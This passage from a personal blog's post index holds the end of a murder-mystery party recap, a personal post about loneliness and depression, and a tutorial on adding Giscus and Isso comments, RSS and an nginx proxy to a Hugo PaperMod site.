how Sergio had told him after getting drunk that he did not like women, but used them to his advantage.\nClaudia wasn\u0026rsquo;t feeling well. She loved her daughter Lucia, but was she the mistress? Why did Benito leave her for Nicoletta? A former prostitute. Did he order them to kill her?\nThe prostitute then continued. \u0026ldquo;Sergio is not Benito\u0026rsquo;s son\u0026rdquo;. Violetta showed a piece of paper indicating that DNA results show he is indeed not Benito\u0026rsquo;s son. Benito smiled. \u0026ldquo;Sergio is my son, even if not my blood. He slept with Aurora, this prostitute, Fabiola, and Sophia for our cause.\u0026rdquo;\nSergio did not smile, or any changes in his face. He was ice-cold.\nIt was still not clear who plotted to kill Salvatore. Everyone was confused.\nIt was time for deduction.\nAct V, the killer(s) After a long discussion between all the family members, these were the conclusions.\nIt was evident that Serena was in her part of the mansion, far from Falcone. A different house. Antonio was chilling at his house with Fabiola. Massimo claimed he was at his office, working on cleaning family from some cases. Aurora was with Sergio in a casino. Benito, Lucia, Santo, Claudia, Enrico, and Nicoletta were at Moretti\u0026rsquo;s. That left Michelangelo, Lorenzo, and Violetta. No one knew what they were doing or where they were.\nInitially, Michelangelo and Lorenzo claimed they were following Sergio and Aurora, but the evidence showed they were there only for a fraction of the night.\nIf everyone was telling the truth, one or two of Michelangelo, Lorenzo, and Violetta were the killers. From the confessions the priest provided, Michelangelo had the most valid motivation for this killing. He was not happy about the family\u0026rsquo;s side business with the killer of her mother. He was not happy that Salvatore did not care. But there were two different guns used. Did Lorenzo really help take out the head of the family? But why?\nLorenzo had affairs with Antonio, and he knew Fabiola was working with Enrico to launder money. It was the perfect plan. The two of them would kill Salvatore, make it look like Fabiola and Enrico killed the head of the family by making it look like \u0026ldquo;The Moretti\u0026rdquo; way. Then Lorenzo gets to Antonio, and Michelangelo would take his revenge. Sergio would also not get his hand on Salvatore\u0026rsquo;s money, as with all ties broken, no one would suspect he was Salvatore\u0026rsquo;s son. Nicoletta would also not talk, as she would lose everything if she confessed.\nAlthough all evidence was against Lorenzo and Michelangelo, they did not confess. Violetta had to break it to them again. She said she was at Falcones on the night of the murder to get dirt on them. She said she was hiding in a closet, and that she saw everything. She said that she even has pictures and soundproof of all that happened. When asked why she didn\u0026rsquo;t mention any of this earlier, she said she wanted to see how far they would go with this, and how much the lie, and what they had plotted. She also wanted to gather more information from whatever people said during these discussions. What a clever fixer! A true piece of treasure from Moretti\u0026rsquo;s side.\nIt was over for Lorenzo and Michelangelo. Lorenzo burst into tears after all of this. He said that Sophia was not protecting the family as the underboss and heir. How could she lose her title if the fact about Sergio were known someday?\nSophia was just disappointed with all of this. She didn\u0026rsquo;t budge.\nThe epilogue Most people weren\u0026rsquo;t sharing what they knew not to become sus! I didn\u0026rsquo;t talk to everyone, but for example, the person who played Santo\u0026rsquo;s role said his card stated he was cleaning his 9mm pistol on the night of the murder. He never mentioned this. Though this would through suspicion on him, when Lucia and other members vouched that he was at home with them, we would not have been misled by some random fact that his pistol was missing, or that one of the murder weapons looked like his. I think there was a lot of information that people either mispresented or decided not to. This ruined the flow of the story. I\u0026rsquo;m not sure if Violetta had to say she was hiding in the closet or not, but it was really late, and I think we were not sure who the killers really were, since people weren\u0026rsquo;t presenting everything they knew.\nOverall, this was the most fun event I have ever attended from ZiS. Everything was perfect, and the organizer was amazing. I would say the person who organized this event is the best of the tutors! They had also organized a game night where we played many fun games online, which was my second most favorite event! Thank you so incredibly much once again for the event!\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM jSp8sg/9HQfL6MJNbK9138ynptOPkYSjDMyEhaI9GfmV2MRlSwkipwWO2GdLstm\u0026#43; bc8KNd1E5TQknN21P24dMqkQ2iDm6s0bDsVQ4X/iZfTwBBoGOD5Z2WvqBUqZo04d ddb4Vk3fqB8hRpcDvqLM3iawn4a5vxGR3tvN16XrGZuyedHFi4YELLIHB0ks3b2p zr6zHOniJ1aCSju8WS28cUMjNz\u0026#43;xCIBKLaHhiZjJ4yQaQVG456VIHCfYYNLo7gwj 3lGViTWg273r6YtxIOQBITPXp1Xib8AFubO7Cs1mTo9sEZcWdWFWslAmTLRiHt0x 4E58Ob8u/DDfmJrJlzNT/XABcqmLPrs/vAtT8jZNAKRyvtlCN\u0026#43;q2hB6Bu1tndVPH qIrSt7ykMhhDYz6A6MzXkwIKG\u0026#43;lC6sygqISnL8NLnzOJVGy5Jl1Ig82g8DJI7qDJ nh4a\u0026#43;E1ts4Iec2ASQtsZFfSlEcoKjXYbZ9npr8jg2temUxIMYq94L/Zeh0o\u0026#43;Ymxp Qy7GC0YNddKgcvsPX/GwealKrCjRNIWuVogF/q86ASKAyZxDtWsAryOTufu7eV1T QC68HqpwR8bvVPbmIk7l4vQSOXNjZuqaMOOkpFvMkwyOoAyRpmI9ksj0v5GllpIC AidP1vQUUJUGtXbiW0vMufUc/fyulH1o0LCfwTLJoTyiBEwjNsw= =3iUy -----END PGP SIGNATURE----- Verify locally:\ncurl -fSLO https://blog.alipour.eu/sources/posts/murder_mystery_night.md curl -fSLO https://blog.alipour.eu/sources/posts/murder_mystery_night.md.asc gpg --verify murder_mystery_night.md.asc murder_mystery_night.md ","permalink":"https://blog.alipour.eu/posts/murder_mystery_night/","summary":"Two dynasties in Sicily collide: a funeral party for a dead Don, a gilded heir with a fatal flaw, and a whisper-soft romance that could start a war.","title":"La Plaza: The Falcones \u0026 the Morettis"},{"content":"Honestly, I don\u0026rsquo;t know why I\u0026rsquo;m doing any of this. I really don\u0026rsquo;t. I think for me this is a scape from reality. A scape from the sad thing that happened earlier this month. A scape from feeling used, or let\u0026rsquo;s say abused if you will, and then thrown away. Just like a piece of trash. It\u0026rsquo;s been hurting more and more. I\u0026rsquo;ve been lying to myself that I don\u0026rsquo;t care. That I\u0026rsquo;ve moved on.\nI\u0026rsquo;ve been seeking validation ever since. The validation that was lacking during that encounter. The feeling of not being good enough.\nIt\u0026rsquo;s enough grieving though. But is it? I tell myself I have moved on. I\u0026rsquo;m not chasing. I\u0026rsquo;m really not.\nI do know that this was indeed the best that could\u0026rsquo;ve happened for me. I just dodged a bullet. But still, there is a part of me that hurts, that grieves. A part that doesn\u0026rsquo;t want to move on. I told myself that I will meet new people, and forget. But then aren\u0026rsquo;t I changing the problem?\nThe problem isn\u0026rsquo;t what is on the surface. It\u0026rsquo;s something deeper. The fact that I feel lonely, scared, anxious. My anxious attachment, combined with overthinking, hurts me. I have to analyse and see the worse in every encounter.\nLike if I tell a group of friends that I won\u0026rsquo;t go with them a few times, I will be removed from the group. That if everyone is busy, they have planned something together and I\u0026rsquo;m not invited. That if someone doesn\u0026rsquo;t reply to me, they hate me. Or that if someone passes me and doesn\u0026rsquo;t look at me or say a word, they don\u0026rsquo;t want to see me, or don\u0026rsquo;t want me around them.\nI don\u0026rsquo;t know how to stop these. I started to do more home office for this very reason, but I wasn\u0026rsquo;t that productive. I think my time, and life, is going to waste, and I don\u0026rsquo;t know how to stop it. It\u0026rsquo;s getting annoying.\nTaking SSRIs was supposed to help, but I guess it just made me not care during the process, and now that I\u0026rsquo;m far along I feel the extra stress I was neglecting. Things just don\u0026rsquo;t feel right. I think I\u0026rsquo;m becoming depressed again.\nThose message passings, though they meant nothing, were extremely helpful for me not to feel lonely. I know if I initiate, I get responses back. Well, maybe not. Maybe my expiration date has passed. But then I would be chasing bread crumbs again. Those crumbs won\u0026rsquo;t let me find a true good quality loaf of bread! They keep me distracted, and make me exhausted. But they also mentally help me.\nMaybe I should go for coffee at different times just not to meet this person. I don\u0026rsquo;t know. I just know I\u0026rsquo;m hurting from within, and it\u0026rsquo;s not nice. It\u0026rsquo;s like internal bleeding. It\u0026rsquo;s as painful as it gets. It\u0026rsquo;s as hurtful as it gets.\nI know getting a pet could help me a lot at this point. All of the things I want I can get from a pet. Petting the pet, and caring for it are exactly what makes me feel good. But then I don\u0026rsquo;t want the responsibility.\nLike with a human things feel less stressful, but with a pet it\u0026rsquo;s scary. I\u0026rsquo;m more of a father to the pet. Uh\u0026hellip; I can\u0026rsquo;t even have a pet because of my house rules.\nI don\u0026rsquo;t know what to do. What I know is that I\u0026rsquo;m mentally hurting, and I don\u0026rsquo;t know what to do. I really don\u0026rsquo;t. I need help. A lot of help. A lot lot of help. But I can\u0026rsquo;t ask my friends. I just can\u0026rsquo;t. They have their own problems. They think I\u0026rsquo;m weak. They will tell me to man up. Or they just show empathy. But I don\u0026rsquo;t need empathy. I need a solution. I need to be told what to do. I need help. Help.\n\u0026hellip; \u0026mdash; \u0026hellip;\n\u0026hellip; \u0026mdash; \u0026hellip; \u0026hellip; \u0026mdash; \u0026hellip; \u0026hellip; \u0026mdash; \u0026hellip;\n\u0026hellip; \u0026mdash; \u0026hellip;\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbucACgkQtYgoUOBM jSp4tQ/9EBdBCfxCs81mRY78MNMo2detZkVaIesg8pIgjKxT3Guj/lqcNUBN\u0026#43;0a9 XkVgKH2Ax8n7h\u0026#43;uRwhN27yWBjqCHF/gHKYoMYjXKg8tlPyQQEzQsCt/vsNHK9Xfx rzCZx4ZIBpNfslXkpwJqwbvY0VuxvPQY51oMCzgaycMrp07e2daRG0WNGrDq156y 4ahrfMhObGCJNQD3OS4GqjaE4PzrkKubCy784Q2Ro/fAY6I6ag2p9K/damrvSk4y spcAHdFtKoawLPXXYW0SAPxg3Nk1f04Lq1JmBf528U\u0026#43;VbIflsJG2id\u0026#43;g1W3Z7ch6 sg5vnKJj7d7AM/0XeHZzNIzfCVz4M9hSnXx3eLb260SAHQTQqBsKFaXYl7y43ND5 9IOisO3ah6/HTBsJQ2tf7QA5y4HPgY\u0026#43;b\u0026#43;rJVDQ4u0UiGfXLLFA2jtUwMnQmx49Ch SD4vGu8SaxWVhWPprrBX6OsC\u0026#43;qEzPiksqu2CZCiEM1Lqma194USyjxqctACNDigO K5qILAk8qvmEdDLIFxfYrpOA9qj\u0026#43;aNDG7gJkBOXCqc6hQ3O3Tv5FnVRokzjDk4Qe N9F1UAZO0F2u7dvAUH4GFN90ysyWKJzsQYzIC1aABZxws16mvbgSwNf6\u0026#43;okpky12 VEkutpuGSpUw7Lslhb0Tz2ZEwnjRL/A4p1L3nF8rdlzqLe1ERvk= =VEwz -----END PGP SIGNATURE----- Verify locally:\ncurl -fSLO https://blog.alipour.eu/sources/posts/sadness.md curl -fSLO https://blog.alipour.eu/sources/posts/sadness.md.asc gpg --verify sadness.md.asc sadness.md ","permalink":"https://blog.alipour.eu/posts/sadness/","summary":"\u003cp\u003eHonestly, I don\u0026rsquo;t know why I\u0026rsquo;m doing any of this. I really don\u0026rsquo;t.\nI think for me this is a scape from reality.\nA scape from the sad thing that happened earlier this month.\nA scape from feeling used, or let\u0026rsquo;s say abused if you will, and then thrown away.\nJust like a piece of trash.\nIt\u0026rsquo;s been hurting more and more.\nI\u0026rsquo;ve been lying to myself that I don\u0026rsquo;t care.\nThat I\u0026rsquo;ve moved on.\u003c/p\u003e","title":"Sadness"},{"content":" Short story: I wanted comments and a proper RSS feed on my Hugo + PaperMod site.\nLonger story: I spent 30 minutes poking around, and now you don’t have to. Here’s exactly what I did.\nI\u0026rsquo;ve been wanting to add comment section to my blog for a while. There are a few problems.\nI don\u0026rsquo;t want to get attacked by bots or random people for no reason. I don\u0026rsquo;t want to allow weird things to happen. I don\u0026rsquo;t want to have a database for it. So\u0026hellip; I decided to take a path which is not necesserially the best. It requires a third party to act on your behalf, but it is not as scary as it sounds. According to Github:\nWhat the app can do The app’s rights are limited to the repo(s) where the site owner installed it and to the permissions it requested (basically: Discussions read/write + metadata). It can’t touch a commenter’s private repos or do things outside those scopes. GitHub’s docs also say a GitHub App can only do what both you and the app have permission to do.\nWhat “Act on your behalf” means That scary wording is GitHub’s. The giscus maintainer explains it means “post comments under your username,” and shows that the app requests Discussions read/write + metadata when installed.\nDo commenters have alternatives? Yes. Anyone can open the linked GitHub Discussion and comment directly on GitHub, bypassing the app’s OAuth popup. The README explicitly mentions this.\nPrivacy \u0026amp; storage No tracking/ads; comments live in GitHub Discussions. giscus is open-source and has a published privacy policy. You can also revoke the app any time in your GitHub settings.\nWith the notice out of the way let\u0026rsquo;s dive right in!\nWhy I chose Giscus (instead of Disqus) No ads or trackers (my page weight thanks me). Uses GitHub Discussions (portable, transparent, easy to search). Readers log in with GitHub (no mystery auth popups). In theory you can directly go to the repo\u0026rsquo;s discussion section and comment there! What you need (for your site, not per user) A Hugo site using PaperMod ✅ A GitHub account ✅ A public repository for the discussion threads (I called mine blog-comments) with Discussions enabled ✅ Giscus app installed on that repo ✅ If you like to keep your main site repo clean, use a separate one, e.g. github-username/blog-comments.\n1) Turn on comments with Giscus PaperMod renders a comments.html partial when params.comments = true.\nSo we enable it in config and create the partial.\n1.1 Enable comments globally hugo.toml (snippet)\n[params] comments = true You can still opt out per post with comments = false in front matter.\n1.2 Create the comments partial Create this file in your site (not inside the theme):\nlayouts/partials/comments.html Paste the Giscus embed (swap the placeholders with yours from giscus.app):\n\u0026lt;section id=\u0026#34;comments\u0026#34; class=\u0026#34;giscus\u0026#34;\u0026gt; \u0026lt;script src=\u0026#34;https://giscus.app/client.js\u0026#34; data-repo=\u0026#34;yourname/blog-comments\u0026#34; data-repo-id=\u0026#34;YOUR_REPO_ID\u0026#34; data-category=\u0026#34;Comments\u0026#34; data-category-id=\u0026#34;YOUR_CATEGORY_ID\u0026#34; \u0026lt;!-- Get them from Giscus\u0026#39;s page! --\u0026gt; data-mapping=\u0026#34;pathname\u0026#34; data-strict=\u0026#34;0\u0026#34; data-reactions-enabled=\u0026#34;1\u0026#34; data-emit-metadata=\u0026#34;0\u0026#34; data-input-position=\u0026#34;bottom\u0026#34; data-theme=\u0026#34;preferred_color_scheme\u0026#34; data-lang=\u0026#34;en\u0026#34; data-loading=\u0026#34;lazy\u0026#34; crossorigin=\u0026#34;anonymous\u0026#34; async\u0026gt; \u0026lt;/script\u0026gt; \u0026lt;noscript\u0026gt;Enable JavaScript to view comments powered by Giscus.\u0026lt;/noscript\u0026gt; \u0026lt;/section\u0026gt; Notes\nYou’ll get repo-id and category-id from giscus.app after picking your repo + category. data-mapping=\u0026quot;pathname\u0026quot; works great for static sites. Prefer a public repo so visitors can read discussions without friction. Want a different language? Change data-lang (e.g., de, fr). 2) Enable RSS (home + sections) Hugo already knows how to generate feeds; we just tell it where.\nhugo.toml\nbaseURL = \u0026#34;https://example.com/\u0026#34; # set your production URL [outputs] home = [\u0026#34;HTML\u0026#34;, \u0026#34;RSS\u0026#34;, \u0026#34;JSON\u0026#34;] # JSON is optional (e.g., for on-site search) section = [\u0026#34;HTML\u0026#34;, \u0026#34;RSS\u0026#34;] taxonomy = [\u0026#34;HTML\u0026#34;, \u0026#34;RSS\u0026#34;] term = [\u0026#34;HTML\u0026#34;, \u0026#34;RSS\u0026#34;] [services.rss] limit = -1 # -1 = no cap; or set e.g. 20 Feed URLs\nHome feed: /index.xml → https://example.com/index.xml Section feeds: /posts/index.xml, /notes/index.xml, etc. (folders are lowercase) If you’re using a .onion address or staging domain, just set that in baseURL.\nLocally, Hugo serves feeds at http://localhost:1313/index.xml.\n3) Show an RSS button on the home page PaperMod shows a nice RSS icon on section/taxonomy lists by default (when enabled), but not on the home page. Two options:\nOption A — Use the home “social icons” row This appears if you enable Home-Info or Profile mode:\n[params.homeInfoParams] Title = \u0026#34;Hello, internet!\u0026#34; Content = \u0026#34;Notes, experiments, and occasional rabbit holes.\u0026#34; [[params.socialIcons]] name = \u0026#34;rss\u0026#34; # lowercase matters url = \u0026#34;/index.xml\u0026#34; Option B — Add an icon in the footer (theme-safe) Create:\nlayouts/partials/extend_footer.html Paste:\n\u0026lt;a href=\u0026#34;/index.xml\u0026#34; rel=\u0026#34;alternate\u0026#34; type=\u0026#34;application/rss+xml\u0026#34; title=\u0026#34;RSS\u0026#34; class=\u0026#34;rss-link\u0026#34;\u0026gt; {{ partial \u0026#34;svg.html\u0026#34; (dict \u0026#34;name\u0026#34; \u0026#34;rss\u0026#34;) }} \u0026lt;span\u0026gt;RSS\u0026lt;/span\u0026gt; \u0026lt;/a\u0026gt; Make it a sensible size:\nCreate:\nassets/css/extended/rss.css Paste:\n/* Small \u0026amp; aligned RSS icon in the footer */ .rss-link { display: inline-flex; align-items: center; gap: .35rem; } .rss-link svg { margin-left: 10px; width: 18px; height: 18px; } /* a bit of left margin for good measure!*/ .rss-link span { font-size: .95rem; } PaperMod auto-bundles anything under assets/css/extended/, so no extra imports needed.\n4) Verify everything Build or run dev:\nhugo # outputs to ./public # or hugo server # serves at http://localhost:1313 Check feeds:\n# Home feed: curl -s http://localhost:1313/index.xml | head # A section feed (adjust path to your section name): curl -s http://localhost:1313/posts/index.xml | head Check comments:\nOpen any post locally. Scroll to the bottom — Giscus should appear. Try a reaction or comment (you’ll be prompted to sign in with GitHub). 5) Per-post controls (handy later) Turn comments off for a single post:\n# in that post’s front matter comments = false Full content in RSS (global):\n[params] ShowFullTextinRSS = true Show RSS buttons on section/taxonomy lists:\n[params] ShowRssButtonInSectionTermList = true 6) Troubleshooting (aka “what I bumped into”) Home page has no RSS icon\nThat’s expected; either enable Home-Info/Profile mode + socialIcons, or use the footer partial.\nSection feed 404\nFolder names are lowercase (content/posts/, not content/Posts/).\nThe URL mirrors that: /posts/index.xml.\nGiscus doesn’t create a discussion\nDouble-check the four attributes: data-repo, data-repo-id, data-category, data-category-id.\nMake sure Discussions is enabled and the Giscus app is installed for the repo.\nIcon is comically large\nKeep the CSS above; 16–20px usually looks right.\n7) Bonus: fast setup via GitHub CLI (optional, I didn\u0026rsquo;t use it, but I should\u0026rsquo;ve perhaps) # Create the public comments repo (adjust names) gh repo create yourname/blog-comments --public -d \u0026#34;Blog comment threads\u0026#34; --confirm # Enable Discussions for it gh repo edit yourname/blog-comments --enable-discussions Then visit giscus.app, select the repo + category (e.g. “Comments”), and copy the generated IDs into layouts/partials/comments.html.\nFinal config snapshot (condensed) baseURL = \u0026#34;https://example.com/\u0026#34; theme = \u0026#34;PaperMod\u0026#34; [outputs] home = [\u0026#34;HTML\u0026#34;, \u0026#34;RSS\u0026#34;, \u0026#34;JSON\u0026#34;] section = [\u0026#34;HTML\u0026#34;, \u0026#34;RSS\u0026#34;] taxonomy = [\u0026#34;HTML\u0026#34;, \u0026#34;RSS\u0026#34;] term = [\u0026#34;HTML\u0026#34;, \u0026#34;RSS\u0026#34;] [services.rss] limit = -1 [params] comments = true ShowRssButtonInSectionTermList = true ShowFullTextinRSS = true # Optional if using Home-Info/Profile mode: # [[params.socialIcons]] # name = \u0026#34;rss\u0026#34; # url = \u0026#34;/index.xml\u0026#34; Appendix — Why I added Isso, how I wired it, and what I fixed The story (why Isso + why I still keep Giscus) I wanted comments that:\nallow anonymous replies (no GitHub account required), are lightweight and self-hosted, and can work on my Tor .onion mirror. Isso checks those boxes: it’s a tiny Python app with SQLite storage, no trackers, and a simple embed. At the same time, I like the developer-friendly workflow of Giscus (comments are GitHub Discussions), so I kept both and added a little switcher UI: “Anonymous (Isso)” or “GitHub (Giscus)”.\nResult: readers can pick privacy/anon (Isso) or identity/notifications (Giscus).\nHow I run it (high-level) Site: Hugo + PaperMod Isso: listening on 127.0.0.1:8080, stored locally (SQLite) Nginx: reverse-proxies /isso/ to Isso on both the clearnet and the .onion vhost Hugo partial: renders the two panels (Isso \u0026amp; Giscus) and a switcher; Giscus is lazy-loaded and auto-rethemed with the site theme I’m deliberately keeping Isso’s own config tiny in this appendix; the important part for my setup is the Nginx proxying and the Hugo partial.\nHugo partial: switcher + embeds Save as layouts/partials/comments.html and include it in your single layout (e.g. layouts/_default/single.html) with {{ partial \u0026quot;comments.html\u0026quot; . }}.\n\u0026lt;!-- comments.html --\u0026gt; \u0026lt;div class=\u0026#34;comments-switch\u0026#34; style=\u0026#34;display:flex;gap:.5rem;margin:.5rem 0 1rem;\u0026#34;\u0026gt; \u0026lt;button id=\u0026#34;btn-isso\u0026#34; type=\u0026#34;button\u0026#34; aria-pressed=\u0026#34;true\u0026#34;\u0026gt;Anonymous (Isso)\u0026lt;/button\u0026gt; \u0026lt;button id=\u0026#34;btn-giscus\u0026#34; type=\u0026#34;button\u0026#34; aria-pressed=\u0026#34;false\u0026#34;\u0026gt;GitHub (Giscus)\u0026lt;/button\u0026gt; \u0026lt;a href=\u0026#34;https://github.com/AlipourIm/blog-comments/discussions/categories/comments\u0026#34; target=\u0026#34;_blank\u0026#34; rel=\u0026#34;noopener\u0026#34;\u0026gt;Open on GitHub ↗\u0026lt;/a\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;!-- Isso panel (default) --\u0026gt; \u0026lt;div id=\u0026#34;panel-isso\u0026#34;\u0026gt; \u0026lt;section id=\u0026#34;isso-thread\u0026#34;\u0026gt;\u0026lt;/section\u0026gt; \u0026lt;script src=\u0026#34;/isso/js/embed.min.js\u0026#34; data-isso=\u0026#34;/isso\u0026#34; data-isso-css=\u0026#34;true\u0026#34; data-isso-lang=\u0026#34;en\u0026#34; data-isso-max-comments-nested=\u0026#34;5\u0026#34; data-isso-sorting=\u0026#34;newest\u0026#34; async\u0026gt; \u0026lt;/script\u0026gt; \u0026lt;small class=\u0026#34;isso-powered\u0026#34; style=\u0026#34;display:block;margin:.5rem 0;color:var(--secondary,#888)\u0026#34;\u0026gt; Comments powered by \u0026lt;a href=\u0026#34;https://isso-comments.de\u0026#34; target=\u0026#34;_blank\u0026#34; rel=\u0026#34;noopener\u0026#34;\u0026gt;Isso\u0026lt;/a\u0026gt; \u0026lt;/small\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;!-- Giscus panel (lazy-loaded on click) --\u0026gt; \u0026lt;div id=\u0026#34;panel-giscus\u0026#34; style=\u0026#34;display:none\u0026#34;\u0026gt; \u0026lt;section id=\u0026#34;giscus-thread\u0026#34;\u0026gt;\u0026lt;/section\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script\u0026gt; (function () { const panelIsso = document.getElementById(\u0026#39;panel-isso\u0026#39;); const panelGisc = document.getElementById(\u0026#39;panel-giscus\u0026#39;); const issoBtn = document.getElementById(\u0026#39;btn-isso\u0026#39;); const giscBtn = document.getElementById(\u0026#39;btn-giscus\u0026#39;); let gLoaded = false; function isDark() { // 1) explicit PaperMod preference const pref = localStorage.getItem(\u0026#39;pref-theme\u0026#39;); if (pref === \u0026#39;dark\u0026#39;) return true; if (pref === \u0026#39;light\u0026#39;) return false; // 2) page state (classes / data-theme) const H = document.documentElement, B = document.body; const hasDark = H.classList.contains(\u0026#39;dark\u0026#39;) || B.classList.contains(\u0026#39;dark\u0026#39;) || H.dataset.theme === \u0026#39;dark\u0026#39; || B.dataset.theme === \u0026#39;dark\u0026#39; || H.classList.contains(\u0026#39;theme-dark\u0026#39;) || B.classList.contains(\u0026#39;theme-dark\u0026#39;); if (hasDark) return true; // 3) OS preference return window.matchMedia \u0026amp;\u0026amp; window.matchMedia(\u0026#39;(prefers-color-scheme: dark)\u0026#39;).matches; } const gTheme = () =\u0026gt; (isDark() ? \u0026#39;dark_dimmed\u0026#39; : \u0026#39;noborder_light\u0026#39;); function loadGiscus() { if (gLoaded) return; const s = document.createElement(\u0026#39;script\u0026#39;); s.src = \u0026#39;https://giscus.app/client.js\u0026#39;; s.async = true; s.crossOrigin = \u0026#39;anonymous\u0026#39;; s.setAttribute(\u0026#39;data-repo\u0026#39;,\u0026#39;AlipourIm/blog-comments\u0026#39;); s.setAttribute(\u0026#39;data-repo-id\u0026#39;,\u0026#39;R_kgDOQGARyA\u0026#39;); s.setAttribute(\u0026#39;data-category\u0026#39;,\u0026#39;Comments\u0026#39;); s.setAttribute(\u0026#39;data-category-id\u0026#39;,\u0026#39;DIC_kwDOQGARyM4Cw3x-\u0026#39;); s.setAttribute(\u0026#39;data-mapping\u0026#39;,\u0026#39;pathname\u0026#39;); s.setAttribute(\u0026#39;data-strict\u0026#39;,\u0026#39;0\u0026#39;); s.setAttribute(\u0026#39;data-reactions-enabled\u0026#39;,\u0026#39;1\u0026#39;); s.setAttribute(\u0026#39;data-emit-metadata\u0026#39;,\u0026#39;0\u0026#39;); s.setAttribute(\u0026#39;data-input-position\u0026#39;,\u0026#39;bottom\u0026#39;); s.setAttribute(\u0026#39;data-lang\u0026#39;,\u0026#39;en\u0026#39;); s.setAttribute(\u0026#39;data-theme\u0026#39;, gTheme()); // initial theme document.getElementById(\u0026#39;giscus-thread\u0026#39;).appendChild(s); // Retheme once iframe exists const reTheme = () =\u0026gt; { const iframe = document.querySelector(\u0026#39;iframe.giscus-frame\u0026#39;); if (!iframe) return; iframe.contentWindow?.postMessage( { giscus: { setConfig: { theme: gTheme() } } }, \u0026#39;https://giscus.app\u0026#39; ); }; // PaperMod toggle button document.getElementById(\u0026#39;theme-toggle\u0026#39;)?.addEventListener(\u0026#39;click\u0026#39;, () =\u0026gt; setTimeout(reTheme, 0) ); // Also react to attribute changes const mo = new MutationObserver(reTheme); mo.observe(document.documentElement, { attributes: true, attributeFilter: [\u0026#39;class\u0026#39;,\u0026#39;data-theme\u0026#39;] }); mo.observe(document.body, { attributes: true, attributeFilter: [\u0026#39;class\u0026#39;,\u0026#39;data-theme\u0026#39;] }); gLoaded = true; } function show(which) { const showIsso = which === \u0026#39;isso\u0026#39;; panelIsso.style.display = showIsso ? \u0026#39;block\u0026#39; : \u0026#39;none\u0026#39;; panelGisc.style.display = showIsso ? \u0026#39;none\u0026#39; : \u0026#39;block\u0026#39;; issoBtn?.setAttribute(\u0026#39;aria-pressed\u0026#39;, showIsso); giscBtn?.setAttribute(\u0026#39;aria-pressed\u0026#39;, !showIsso); if (!showIsso) loadGiscus(); } issoBtn?.addEventListener(\u0026#39;click\u0026#39;, e =\u0026gt; { e.preventDefault(); show(\u0026#39;isso\u0026#39;); }); giscBtn?.addEventListener(\u0026#39;click\u0026#39;, e =\u0026gt; { e.preventDefault(); show(\u0026#39;giscus\u0026#39;); }); // default show(\u0026#39;isso\u0026#39;); })(); \u0026lt;/script\u0026gt; Nginx: proxy Isso on both sites (and avoid the 404-onion trap) The bug I hit: my .onion server had a regex static block that won over the plain /isso/ location, so /isso/js/embed.min.js returned 404.\nFix: make /isso/ a ^~ prefix location so it beats regex, and place it above the static block.\n# /etc/nginx/sites-enabled/onion-blog (same idea for the clearnet vhost) server { listen 127.0.0.1:3301 default_server; server_name fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion 127.0.0.1 localhost; add_header Referrer-Policy no-referrer always; add_header X-Content-Type-Options nosniff always; add_header X-Frame-Options SAMEORIGIN always; root /srv/hugo/mysite/public-onion; index index.html; location / { try_files $uri $uri/ /index.html; } # /isso -\u0026gt; /isso/ location = /isso { return 301 /isso/; } # IMPORTANT: this must beat regex locations below location ^~ /isso/ { proxy_pass http://127.0.0.1:8080/; # Isso container/port proxy_http_version 1.1; proxy_set_header Host $host; proxy_set_header X-Forwarded-Host $host; proxy_set_header X-Forwarded-Proto $scheme; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_redirect off; proxy_read_timeout 60s; } # static location ~* \\\\.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ { access_log off; add_header Cache-Control \u0026#34;public, max-age=31536000, immutable\u0026#34;; try_files $uri =404; } } Reload and smoke test:\nsudo nginx -t \u0026amp;\u0026amp; sudo systemctl reload nginx curl -I http://\u0026lt;your-onion-host\u0026gt;/isso/js/embed.min.js # expect 200 If you ever point data-isso to a different origin, add CORS headers on that vhost. For same-origin (data-isso=\u0026quot;/isso\u0026quot;), you don’t need CORS.\nSmall CSS tweaks (one color across light/dark + spacing) I wanted the same blue for reply / edit / delete links and for Submit / Preview buttons, in both themes, and a little spacing:\n/* put this in your site CSS */ :root { --btn-blue: #2563eb; } /* adjust to taste */ /* Isso form buttons */ .isso-post-action input[type=\u0026#34;submit\u0026#34;], .isso-post-action input[name=\u0026#34;preview\u0026#34;] { background: var(--btn-blue) !important; color: #fff !important; border: none; padding: .5rem .75rem; border-radius: .4rem; cursor: pointer; } /* link actions under comments */ .isso-comment-footer a { color: var(--btn-blue) !important; margin-right: .5rem; /* gives \u0026#34;edit\u0026#34; and \u0026#34;delete\u0026#34; some breathing room */ text-decoration: none; } .isso-comment-footer a:hover { text-decoration: underline; } /* keep name/email/website stacked, slightly larger */ .isso-auth-section .isso-input-wrapper { display: block; margin: .35rem 0; } .isso-auth-section label { font-size: .95rem; } .isso-auth-section input[type=\u0026#34;text\u0026#34;], .isso-auth-section input[type=\u0026#34;email\u0026#34;], .isso-auth-section input[type=\u0026#34;url\u0026#34;] { width: 100%; font-size: 1rem; padding: .5rem .6rem; } What changed (the fixes I actually made) Theme correctness for Giscus.\nPaperMod doesn’t add .light—it only toggles .dark and stores pref-theme. I now:\nread localStorage.pref-theme first, fall back to class/data-theme, then fall back to OS preference.\nI also re-theme the Giscus iframe on every toggle via postMessage. Isso over Tor.\nOn the .onion vhost, I moved the proxy to a ^~ /isso/ block so it beats the static regex. That fixed the 404 on /isso/js/embed.min.js.\nUI polish.\nUnified button/link color across themes, ensured “edit”/“delete” aren’t touching, kept the author/email/website inputs stacked, and left Submit/Preview styled and grouped. Sanity check Toggle the theme: Giscus switches between noborder_light and dark_dimmed without reload. Open DevTools → Network on onion: /isso/js/embed.min.js loads with 200. Switcher buttons swap panels instantly; Giscus only loads when clicked. 8) Final notes! I could not fully fix the style of Isso. CSS is not easy\u0026hellip; drat!\nI don\u0026rsquo;t think anyone actually reads the blog, let alone 